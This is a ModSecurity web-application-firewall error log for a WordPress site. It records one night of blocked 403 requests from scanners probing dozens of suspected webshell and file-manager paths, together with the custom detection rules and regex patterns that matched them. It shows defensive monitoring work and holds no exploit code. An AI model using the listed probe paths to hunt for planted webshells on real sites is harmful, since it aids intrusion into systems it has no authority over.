[Wed Dec 10 23:59:29.364793 2025] [:error] [pid 36977:tid 37038] [client 172.98.33.20:44855] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "aTmY4cc-JLl-uoL-Au7nyQAAAEQ"]
[Wed Dec 10 23:59:30.259295 2025] [:error] [pid 46868:tid 46877] [client 172.98.33.7:45047] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dzs-zoomsounds/1877.php"] [unique_id "aTmY4o3NdlN2GOOyBjGiyQAAAQc"]
[Wed Dec 10 23:59:31.357849 2025] [:error] [pid 46868:tid 46873] [client 172.98.33.17:58927] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aTmY443NdlN2GOOyBjGizAAAAQM"]
[Wed Dec 10 23:59:34.361351 2025] [:error] [pid 37062:tid 37087] [client 172.98.33.7:57227] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aTmY5jB0I62HCw8Z5BSLRwAAABc"]
[Wed Dec 10 23:59:35.856629 2025] [:error] [pid 37062:tid 37068] [client 172.98.33.19:59599] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aTmY5zB0I62HCw8Z5BSLSAAAAAQ"]
[Wed Dec 10 23:59:36.465883 2025] [:error] [pid 36976:tid 37016] [client 45.132.115.250:25943] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aTmY6CSpHW5KVaY9tJnh6AAAAMk"]
[Wed Dec 10 23:59:37.452048 2025] [:error] [pid 36975:tid 36980] [client 172.98.33.5:58429] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/press/wp-class.php"] [unique_id "aTmY6d_ZNQ3zMmb38BGXyAAAAIA"]
[Wed Dec 10 23:59:39.751573 2025] [:error] [pid 46868:tid 46881] [client 172.98.33.17:58161] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aTmY643NdlN2GOOyBjGi1gAAAQs"]
[Wed Dec 10 23:59:41.470718 2025] [:error] [pid 49095:tid 49098] [client 172.98.33.16:56833] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aTmY7corr4Jt2Tfx_EY8zQAAAUE"]
[Wed Dec 10 23:59:42.557783 2025] [:error] [pid 36976:tid 37015] [client 45.132.115.247:51785] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aTmY7iSpHW5KVaY9tJnh7wAAAMg"]
[Wed Dec 10 23:59:43.364326 2025] [:error] [pid 36976:tid 37028] [client 45.132.115.248:56295] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-mobile-detector/cache/settings_auto.php"] [unique_id "aTmY7ySpHW5KVaY9tJnh8QAAANU"]
[Wed Dec 10 23:59:44.160339 2025] [:error] [pid 36977:tid 37037] [client 172.98.33.9:34887] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentythree/patterns/index.php"] [unique_id "aTmY8Mc-JLl-uoL-Au7n0QAAAEM"]
[Wed Dec 10 23:59:45.060499 2025] [:error] [pid 37062:tid 37064] [client 172.98.33.10:40567] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aTmY8TB0I62HCw8Z5BSLTgAAAAA"]
[Wed Dec 10 23:59:45.856236 2025] [:error] [pid 36975:tid 36993] [client 172.98.33.17:37477] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aTmY8d_ZNQ3zMmb38BGXzQAAAI0"]
[Wed Dec 10 23:59:46.465885 2025] [:error] [pid 49095:tid 49110] [client 172.98.33.12:37571] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTmY8sorr4Jt2Tfx_EY81QAAAU0"]
[Wed Dec 10 23:59:47.057137 2025] [:error] [pid 36975:tid 36997] [client 172.98.33.6:44171] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTmY89_ZNQ3zMmb38BGXzgAAAJE"]
[Wed Dec 10 23:59:47.957904 2025] [:error] [pid 37062:tid 37069] [client 172.98.33.7:48023] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aTmY8zB0I62HCw8Z5BSLUwAAAAU"]
[Wed Dec 10 23:59:48.861128 2025] [:error] [pid 36977:tid 37048] [client 172.98.33.20:57183] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aTmY9Mc-JLl-uoL-Au7n0wAAAE4"]
[Wed Dec 10 23:59:50.260980 2025] [:error] [pid 46868:tid 46880] [client 45.132.115.246:29245] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTmY9o3NdlN2GOOyBjGi5QAAAQo"]
[Wed Dec 10 23:59:51.958864 2025] [:error] [pid 36975:tid 37000] [client 172.98.33.16:46533] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aTmY99_ZNQ3zMmb38BGX3gAAAJQ"]
[Wed Dec 10 23:59:53.061385 2025] [:error] [pid 46868:tid 46885] [client 45.132.115.254:20943] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aTmY-Y3NdlN2GOOyBjGi7gAAAQ8"]
[Wed Dec 10 23:59:54.058861 2025] [:error] [pid 36975:tid 36997] [client 45.132.115.244:26829] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/calmly/issue.php"] [unique_id "aTmY-t_ZNQ3zMmb38BGX4QAAAJE"]
[Wed Dec 10 23:59:54.561663 2025] [:error] [pid 36975:tid 36988] [client 45.132.115.247:41245] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/shell/noimg.php"] [unique_id "aTmY-t_ZNQ3zMmb38BGX4wAAAIg"]
[Wed Dec 10 23:59:55.359692 2025] [:error] [pid 46868:tid 46873] [client 172.98.33.5:35817] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "aTmY-43NdlN2GOOyBjGi9gAAAQM"]
[Wed Dec 10 23:59:55.965495 2025] [:error] [pid 37062:tid 37088] [client 172.98.33.15:28901] [client 172.98.33.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/fonts/fonts.php"] [unique_id "aTmY-zB0I62HCw8Z5BSLWQAAABg"]
[Wed Dec 10 23:59:56.669982 2025] [:error] [pid 36976:tid 37015] [client 172.98.33.4:50057] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "aTmY_CSpHW5KVaY9tJnh_wAAAMg"]
[Wed Dec 10 23:59:57.360979 2025] [:error] [pid 46868:tid 46891] [client 172.98.33.6:32693] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-1/pwnd.php"] [unique_id "aTmY_Y3NdlN2GOOyBjGi-gAAARU"]
[Wed Dec 10 23:59:57.962484 2025] [:error] [pid 36976:tid 37017] [client 45.132.115.247:55861] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aTmY_SSpHW5KVaY9tJniAAAAAMo"]
[Wed Dec 10 23:59:58.565408 2025] [:error] [pid 36975:tid 36991] [client 172.98.33.9:48247] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/aahana/json.php"] [unique_id "aTmY_t_ZNQ3zMmb38BGX7AAAAIs"]
[Wed Dec 10 23:59:59.371027 2025] [:error] [pid 37062:tid 37084] [client 172.98.33.12:26671] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/TOPXOH/wDR.php"] [unique_id "aTmY_zB0I62HCw8Z5BSLZwAAABQ"]
[Thu Dec 11 00:00:00.069899 2025] [:error] [pid 36975:tid 36993] [client 45.132.115.245:56685] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTmZAN_ZNQ3zMmb38BGX7gAAAI0"]
[Thu Dec 11 00:00:00.861111 2025] [:error] [pid 46868:tid 46879] [client 172.98.33.9:48079] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/Divi/404.php"] [unique_id "aTmZAI3NdlN2GOOyBjGi_gAAAQk"]
[Thu Dec 11 00:00:01.475157 2025] [:error] [pid 36976:tid 37023] [client 172.98.33.17:49861] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aTmZASSpHW5KVaY9tJniAgAAANA"]
[Thu Dec 11 00:00:02.170847 2025] [:error] [pid 36975:tid 36990] [client 172.98.33.19:62465] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTmZAt_ZNQ3zMmb38BGX7wAAAIo"]
[Thu Dec 11 00:00:04.068215 2025] [:error] [pid 36976:tid 37018] [client 45.132.115.254:39749] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTmZBCSpHW5KVaY9tJniCgAAAMs"]
[Thu Dec 11 00:00:06.670607 2025] [:error] [pid 49095:tid 49099] [client 45.132.115.249:41315] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aTmZBsorr4Jt2Tfx_EY87AAAAUI"]
[Thu Dec 11 00:00:07.867857 2025] [:error] [pid 37062:tid 37085] [client 45.132.115.250:63243] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aTmZBzB0I62HCw8Z5BSLagAAABU"]
[Thu Dec 11 00:00:08.362513 2025] [:error] [pid 36977:tid 37041] [client 45.132.115.252:24075] [client 45.132.115.252] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aTmZCMc-JLl-uoL-Au7n3gAAAEc"]
[Thu Dec 11 00:00:09.065965 2025] [:error] [pid 36977:tid 37037] [client 172.98.33.7:59963] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTmZCcc-JLl-uoL-Au7n4AAAAEM"]
[Thu Dec 11 00:00:09.769416 2025] [:error] [pid 36976:tid 37007] [client 45.132.115.249:21139] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aTmZCSSpHW5KVaY9tJniFQAAAMA"]
[Thu Dec 11 00:00:10.366146 2025] [:error] [pid 46868:tid 46893] [client 172.98.33.19:35337] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aTmZCo3NdlN2GOOyBjGjGQAAARc"]
[Thu Dec 11 00:00:10.957348 2025] [:error] [pid 37062:tid 37079] [client 172.98.33.18:61567] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aTmZCjB0I62HCw8Z5BSLbQAAAA8"]
[Thu Dec 11 00:00:11.672941 2025] [:error] [pid 37062:tid 37067] [client 172.98.33.12:22361] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aTmZCzB0I62HCw8Z5BSLcQAAAAM"]
[Thu Dec 11 00:00:12.371786 2025] [:error] [pid 46868:tid 46876] [client 172.98.33.13:21321] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aTmZDI3NdlN2GOOyBjGjHAAAAQY"]
[Thu Dec 11 00:00:13.066769 2025] [:error] [pid 36976:tid 37017] [client 45.132.115.254:41611] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aTmZDSSpHW5KVaY9tJniGQAAAMo"]
[Thu Dec 11 00:00:13.765900 2025] [:error] [pid 46868:tid 46873] [client 45.132.115.253:56757] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTmZDY3NdlN2GOOyBjGjHgAAAQM"]
[Thu Dec 11 00:00:14.462116 2025] [:error] [pid 36977:tid 37046] [client 45.132.115.254:60321] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aTmZDsc-JLl-uoL-Au7n6wAAAEw"]
[Thu Dec 11 00:00:15.062990 2025] [:error] [pid 36976:tid 37025] [client 45.132.115.251:31261] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTmZDySpHW5KVaY9tJniIQAAANI"]
[Thu Dec 11 00:00:15.668651 2025] [:error] [pid 37062:tid 37072] [client 172.98.33.12:28753] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/plugins.php"] [unique_id "aTmZDzB0I62HCw8Z5BSLcgAAAAg"]
[Thu Dec 11 00:00:16.265666 2025] [:error] [pid 36976:tid 37011] [client 172.98.33.16:65501] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aTmZECSpHW5KVaY9tJniKQAAAMQ"]
[Thu Dec 11 00:00:16.764152 2025] [:error] [pid 37062:tid 37065] [client 45.132.115.244:34737] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTmZEDB0I62HCw8Z5BSLcwAAAAE"]
[Thu Dec 11 00:00:17.763987 2025] [:error] [pid 36976:tid 37010] [client 172.98.33.18:64433] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/about.php"] [unique_id "aTmZESSpHW5KVaY9tJniMAAAAMM"]
